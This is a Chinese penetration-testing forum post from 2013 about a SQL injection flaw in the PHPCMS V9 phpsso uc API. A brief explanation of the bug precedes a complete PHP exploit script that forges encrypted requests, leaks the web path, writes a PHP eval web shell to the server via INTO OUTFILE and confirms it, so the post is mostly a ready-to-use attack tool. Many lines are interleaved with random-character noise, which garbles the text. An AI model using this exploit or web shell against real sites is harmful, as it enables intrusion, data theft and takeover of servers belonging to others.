中国网络渗透测试联盟

标题: PHPCMS V9 uc API SQL注入漏洞 [打印本页]

作者: admin    时间: 2013-2-9 01:22
标题: PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
. _+ f; l; d- k
* F& Z1 I& w4 K) V3 P' I3 K+ k所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
6 j8 M3 V7 z7 o2 v' H9 W9 d9 q5 _2 N8 ?6 F) @0 o
漏洞分析:) W( A8 m0 e- X5 p
1.未启用ucenter服务的情况下uc_key为空# u  B+ V8 q& a! b
define('UC_KEY', pc_base::load_config('system', 'uc_key'));' t5 ~; P( r2 Y1 d
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。- r; G  @  S& m& s
    public function deleteuser($get,$post) {
& U6 {2 t  A" T4 X6 o! U        pc_base::load_app_func('global', 'admin');% A0 k; Q. w2 m) y
        pc_base::load_app_class('messagequeue', 'admin' , 0);
, u7 i. i) }# v2 ^' x/ Q# W        $ids = new_stripslashes($get['ids']);
. R1 [+ S5 [+ ^2 R" {        $s = $this->member_db->select("ucuserid in ($ids)", "uid");, m5 k; Q. l8 J/ t4 c9 T: v& T
SQL语句为% x; a! C* t: b4 M
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
% Z, D9 l$ `* D2 q' _+ U+ n& C; x) w  }, o3 Y& }$ q
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell/ t1 ?0 V* X2 p) u. N) ]1 I, T
<?php8 H5 y' f; L! J$ v6 _* k. d, K% Z
print_r('( I, I- E6 N! e6 w, `8 X9 r+ u
---------------------------------------------------------------------------
* c- j4 w& t2 ~0 c2 n' GPHPcms (v9 or Old Version) uc api sql injection 0day
8 t5 z+ Z1 W+ Iby rayh4c#80sec.com& K8 Q8 L  a/ ^& Q9 F6 Q+ ?4 R
---------------------------------------------------------------------------
+ r2 N" [" N+ M% s$ z2 X  t: p! b');
1 X$ {$ b2 U4 d" F) c+ _$ k6 J( w* _: e) ?: w8 ^: U) _8 N
if ($argc<3) {
9 }) [; ~1 }1 M! V' A0 m$ m    print_r('
+ D$ d- e( S  r---------------------------------------------------------------------------: B% O" g* Q1 b" p+ L
Usage: php '.$argv[0].' host path OPTIONS0 c" ^# C% S$ Q$ d: H* h) z" X
host:      target server (ip/hostname)
4 a1 G# w6 Y. @4 P4 ipath:      path to phpcms
  \) K" |# J: e1 cOptions:
& N0 M6 q- V8 r1 u7 [$ v -p[port]:    specify a port other than 80
" s( A- A$ x6 p2 }4 K -P[ip:port]: specify a proxy( _/ d( o6 y5 J7 L& S8 n
Example:
) ^. P! e2 |5 k$ P3 s( [" c& i# C6 Hphp '.$argv[0].' localhost /
0 j5 ]% Y: x+ d. G' W. cphp '.$argv[0].' localhost /phpcms/ -p81
5 s* K- I! d# T$ u* l+ C$ b3 J5 Aphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:802 _' _8 D' ?* G+ i% H
---------------------------------------------------------------------------, g0 p% k) U" \5 R2 @
');
& \) r, o* h9 ?    die;
4 {4 c+ g7 c  x3 d2 Q- ?+ v: v/ o3 g9 V}2 H7 t9 }5 c, K9 w( c

/ X! b0 I3 V" p. c; Q, e8 w7 J- M2 Perror_reporting(7);
- Y) N) d9 R8 ?/ U1 n+ Tini_set("max_execution_time",0);
. B+ i; J1 c; M: cini_set("default_socket_timeout",5);
2 G6 N8 k& h4 f$ ^* u- N/ N1 [; ], _3 y
function quick_dump($string)! _# ?4 m& |) o# n: T* e: U
{' E7 B2 S' M/ Q, N, f. c0 Y
  $result='';$exa='';$cont=0;" s) s  M% I6 n: V" M- G! L9 e
  for ($i=0; $i<=strlen($string)-1; $i++)
. U9 \9 S' i; [* i1 T  {
9 T0 P3 P+ b' k( `  V1 d0 [   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
5 o$ c/ W+ r/ i! T% E3 j' ~5 \. @4 m   {$result.="  .";}' W* ]  S8 c0 l/ G: {
   else
' s8 B9 n) ]" Y/ @+ l   {$result.="  ".$string[$i];}
# [8 H# U" S: t3 E% \) n  E* g   if (strlen(dechex(ord($string[$i])))==2), s5 L0 v* W" H$ b: [
   {$exa.=" ".dechex(ord($string[$i]));}2 A; l: J2 \) G$ }; A3 P
   else2 V# o) C& t; }2 R& [
   {$exa.=" 0".dechex(ord($string[$i]));}' Y+ _, _# l5 `1 k
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
1 h2 a) f4 `$ r1 Q$ o# y  }9 X( p! U  \& j3 B
return $exa."\r\n".$result;3 o7 L: E$ {3 h! o) E9 C/ c5 E
}
: N, z# I( y0 X. y  W. Z" v% M$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';. t/ _6 X- _: @: r

  o3 M4 I4 K# E! L0 vfunction send($packet)9 ?( F6 F) h- l: H7 I7 ^8 r9 e) i
{
9 H  c$ ~- D- o5 d7 i4 s  global $proxy, $host, $port, $html, $proxy_regex;
/ v& Z1 _  F' W3 _# z  if ($proxy=='') {4 I9 T5 z& t# Q1 m- Q7 |
    $ock=fsockopen(gethostbyname($host),$port);
7 |$ [- L7 S! @, P    if (!$ock) {, D1 X& i( ^7 }8 s2 k
      echo 'No response from '.$host.':'.$port; die;$ `# c6 D. B% Q/ P3 ?
    }
* g# `# }! }" g+ Z- r% p" P  }7 U: s1 z2 O8 v0 p$ V4 y4 }
  else {8 @% B# l9 C5 j# n$ C" V. P
        $c = preg_match($proxy_regex,$proxy);
. ?7 T# h( c& }- k    if (!$c) {
8 |$ h/ [: A7 O8 e      echo 'Not a valid proxy...';die;
! I7 [2 {  Z1 T$ Q/ H    }
0 d( j; f1 `% \    $parts=explode(':',$proxy);. a. ^- r3 |. V4 S0 d4 f0 v+ P
    $parts[1]=(int)$parts[1];: J2 N# e% I0 n; u. R' K
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
) |+ l. Y6 K, m3 ~( D7 }' h9 n0 ^    $ock=fsockopen($parts[0],$parts[1]);$ B3 R- r1 X: a; {. x1 E+ I: w
    if (!$ock) {7 R: R- z' i* i8 r! ~( o+ _
      echo 'No response from proxy...';die;( Z- [: ]4 C6 m$ Q1 X
        }: Y+ |8 [7 Q* p0 @% ~8 {* o
  }
) _0 s+ Y9 [. [) W* R, w  fputs($ock,$packet);7 f$ q: M4 k% I) m+ ?$ U* W
  if ($proxy=='') {% M& ~( q; b  ~% _' j1 f! S/ I1 B
    $html='';0 `0 i7 N/ ~; j
    while (!feof($ock)) {! t, S0 Q4 d9 z( G1 Y% E, Z" T5 ?
      $html.=fgets($ock);
3 k+ K7 Y; B6 A7 V4 a8 v    }) o1 A. G, Q8 P- S* ^$ c2 O
  }- k' t1 B# F. q$ j8 W* V  d
  else {2 }" ?; K+ j' E
    $html='';
8 _) N1 i" a# h  }3 A9 w    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {9 o! l% t  b# n8 ]7 z& p0 i' z! `) L
      $html.=fread($ock,1);
+ L( F5 v! \( E% a1 a% a+ F    }/ U0 y7 G2 S2 N
  }
7 ~; B3 w) I: D1 T: A$ f, B3 c  fclose($ock);
( N6 g! e3 \, ]; {1 ?}
- v. P, D* A# B/ p1 j% i. y) @1 c5 M$ \, C# q  ]6 m! K% p
$host=$argv[1];2 g% `# `1 T$ e9 i7 [9 r
$path=$argv[2];  x: ^, \7 q  j
$port=80;
9 c$ F4 V! P* m# L/ i$ `$proxy="";
! k& [0 @1 l5 {" X; e: u8 Z5 @( Xfor ($i=3; $i<$argc; $i++){/ A8 x, J* ^2 _8 O% h+ a3 n* C
$temp=$argv[$i][0].$argv[$i][1];
; J( w( [  m5 J, i3 Hif ($temp=="-p")
9 O7 {  Z+ D5 w8 X, [5 O/ e3 J2 G{
2 r/ Q. \3 H7 m1 [' q  $port=(int)str_replace("-p","",$argv[$i]);
8 M, R( l5 [3 C}
: K! Q& ]8 M. G' r3 c+ V4 H- Bif ($temp=="-P")
5 U$ i) ^' {: X  I% s) n5 a{2 `1 h: Z  Q! \4 {; {& c+ z, _) {
  $proxy=str_replace("-P","",$argv[$i]);( Y" h5 ?, I, n! r
}2 i6 a( A& ~* j, ~8 W9 ^2 Z
}
, x  U% |0 Z, r. z% ]  [, m. w
2 S$ `1 f8 r9 j& lif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  J& i0 s: k0 @; N+ C, B, qif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- S) o0 O4 P. ~  _: ~
# F. O4 c6 t. s$ p$ R  c# l5 V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
% w( O, i1 F8 f2 U) b
" M! i0 K7 L! M    $ckey_length = 4;: Y7 n; y7 K" _6 o
$ U: s4 T1 T  W
    $key = md5($key ? $key : '');
* c' ?3 g9 _- o& q, s( \/ m- y    $keya = md5(substr($key, 0, 16));1 D' d% K  W" w1 a" I
    $keyb = md5(substr($key, 16, 16));  ~# b: n7 F6 F3 G5 P
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';- |  h* B) t9 \( S; x

, b- g0 K3 @" j3 K$ S# u1 n* v    $cryptkey = $keya.md5($keya.$keyc);
1 U" f  j) B9 t& u" x& Q% A    $key_length = strlen($cryptkey);( l- g* r$ {" L3 a2 U7 y

' t8 n! _/ b0 u7 \    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
/ r/ R; u) {1 N0 V1 k    $string_length = strlen($string);) t' X' r% h+ Q. n5 B' M# ?, K
( p% H1 v; a2 j9 |2 c0 ^
    $result = '';5 y* {1 l$ a/ ]2 y$ D# q* x" T
    $box = range(0, 255);
/ x2 h. b- j/ [! ?+ o. @
' ]9 W/ i0 K. |! D$ Z    $rndkey = array();% J3 d# R$ h0 K& _  [
    for($i = 0; $i <= 255; $i++) {& h+ |0 Q. u6 M" Z
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
7 Q$ J, n1 f9 U  G* r: f    }# |/ j3 Z4 b( m* c! n5 W

4 }, e; ~  I5 b0 s    for($j = $i = 0; $i < 256; $i++) {7 x* o7 b$ x7 h
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;, X5 h6 C: |& Q, n5 G$ O1 K/ D
        $tmp = $box[$i];
8 b# G7 V: i# |2 W7 H2 X        $box[$i] = $box[$j];
! o2 n0 R! e8 A* c( \        $box[$j] = $tmp;0 K$ o2 f9 l- T: u+ M, U; C
    }. B2 l$ Y) E  A4 L
; A* A6 v( G3 _1 `
    for($a = $j = $i = 0; $i < $string_length; $i++) {  I2 E' D9 {* F  B
        $a = ($a + 1) % 256;  f; {, f# ]' x" Q  M
        $j = ($j + $box[$a]) % 256;! D4 x0 R$ S* J+ v' o: ~7 y
        $tmp = $box[$a];
  {8 b( m7 m+ A! C        $box[$a] = $box[$j];
( m+ N4 D- c) y. \        $box[$j] = $tmp;
+ P; J' y) o2 F; a& [; c        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
8 Y" O7 \# X1 H1 ~' e    }& L5 A% |  J" A6 D) ]  H

9 |/ B# T3 `& g" }    if($operation == 'DECODE') {
* t+ Y( h" t& M0 ?7 ?6 H7 z( N        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
4 G/ f- f; `5 l4 [6 H/ E6 ~  f9 D1 q            return substr($result, 26);
. J, c4 t# f* k& g8 p! z2 L        } else {. Q2 P& W; F) Z# z: Y9 [0 |
            return '';
( t- M: x, B" @9 M; l1 v, ~        }+ |5 y0 L' B) D) C9 B
    } else {
' o  R* ?2 Q4 l, |' c& ?: D- b7 k$ |        return $keyc.str_replace('=', '', base64_encode($result));1 |( B- D" e/ M! ~
    }
$ }# v/ q) }8 N
/ c+ }) o, o: J}
8 {9 K' y% G, b
5 ?7 F) w2 ^- {2 g, |1 a$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";6 y, b4 ~' }3 P3 w5 @% Y$ S
$SQL = urlencode(authcode($SQL, "ENCODE", ""));( q" L/ y! W! f5 ?4 t. H5 u, f5 s% M' n
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";0 ^1 s5 ?% [0 T* r$ X9 Q7 S) N
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";" X/ Z8 k# g  g! @8 N. \, D/ E
$packet.="User-Agent: Mozilla/5.0\r\n";. A/ P8 T: n: K2 C" ?# J+ W2 ~( y
$packet.="Host: ".$host."\r\n";% _3 T: k  J1 G2 m7 _. g
$packet.="Connection: Close\r\n\r\n";$ m$ l' A4 u3 E5 ?
send($packet);$ E" G8 Q8 _; U. E9 I
if(strpos($html,"MySQL Errno") > 0){
* W  g" o& W' i- ]2 recho "[2] 发现存在SQL注入漏洞"."\n";0 ]7 r9 J* i6 b. W! D
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. P# v6 u# V1 R) s$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 h# S2 k$ \. G1 B& P$packet.="User-Agent: Mozilla/5.0\r\n";2 ~0 o: I$ i) n/ A. U; C
$packet.="Host: ".$host."\r\n";) W/ q0 `9 Y, k# D
$packet.="Connection: Close\r\n\r\n";
. p2 ]9 p" j) R9 [7 L. ^; xsend($packet);
, R% ^- e# j  Q  g( J: jpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);4 X' r. K" ~" x5 k7 H+ e# w- A
//print_r($matches);
4 D. ~# J3 J3 Y# k1 sif(!empty($matches)){' e+ Q6 e: x( A3 ^- v% y. S  a6 P+ o
echo "[4] 得到web路径 " . $matches[0]."\n";1 S) a0 a) R  O9 O: a
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
5 h0 m% d; `: _$ |$SQL = "time=999999999999999999999999&ids=1)";
5 D& m6 n2 ]7 Y9 v6 Q3 S$ p' q) U8 n$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
4 D2 A4 h9 f3 [: G$SQL.="&action=deleteuser";6 H4 W' U! |! {& e" \$ R4 C! C
$SQL = urlencode(authcode($SQL, "ENCODE", ""));7 I; z; @: ?1 G* H9 L. m
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 o- K4 T1 l4 h" d+ c+ v' U$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, v; @; m( \" z* w) [! I; K$packet.="User-Agent: Mozilla/5.0\r\n";' \* T' U0 F' s2 j9 s# ]
$packet.="Host: ".$host."\r\n";
# L0 ^  I5 j$ o  w1 G$packet.="Connection: Close\r\n\r\n";
; {; P: V1 |, W" h1 d0 Hsend($packet);, L  }% Z* Q0 v( x
if(strpos($html,"Access denied") > 0){0 w8 d. S' o$ f+ u$ h5 S
echo "[-] MYSQL权限过低 禁止写入文件 ";
/ B# f, J; a" s1 `die;
2 O' K& Z/ C: @. ^, e}/ t0 X- p* G) Z0 v* R
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";2 K6 k* r! ?" ]* |$ r- y& `
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
3 i2 D; W: J$ w1 p( o( @$packet.="User-Agent: Mozilla/5.0\r\n";
7 [$ L2 i  y& y" y7 j7 c' k$packet.="Host: ".$host."\r\n";
: s. j. U4 c% {! v& p$packet.="Connection: Close\r\n\r\n";
! H) L- L! a+ Qsend($packet);7 j: i8 C# `: L& D% B
if(strpos($html,"<title>phpinfo()</title>") > 0){
" z1 e& U& |5 q3 D. Techo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
& N9 \- P- V9 k8 l4 D4 u; u}, O4 n0 P7 S. D6 J  Q+ [- m
}else{# H8 r. j2 P2 N. M
echo "[-]未取到web路径 ";
6 F8 k* o5 c5 @}  b% T6 f. o1 L, I( b+ W& w
}else{
9 @0 ~. W$ b9 _- v# Yecho "[*]不存在SQL注入漏洞"."\n";
5 i2 I+ L* k; G  m' C6 _" S}: l: R# a; I2 `7 i# m( O

# e: Z. O- P) H?>
! F1 \* |5 q4 t, u2 c: T: c




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2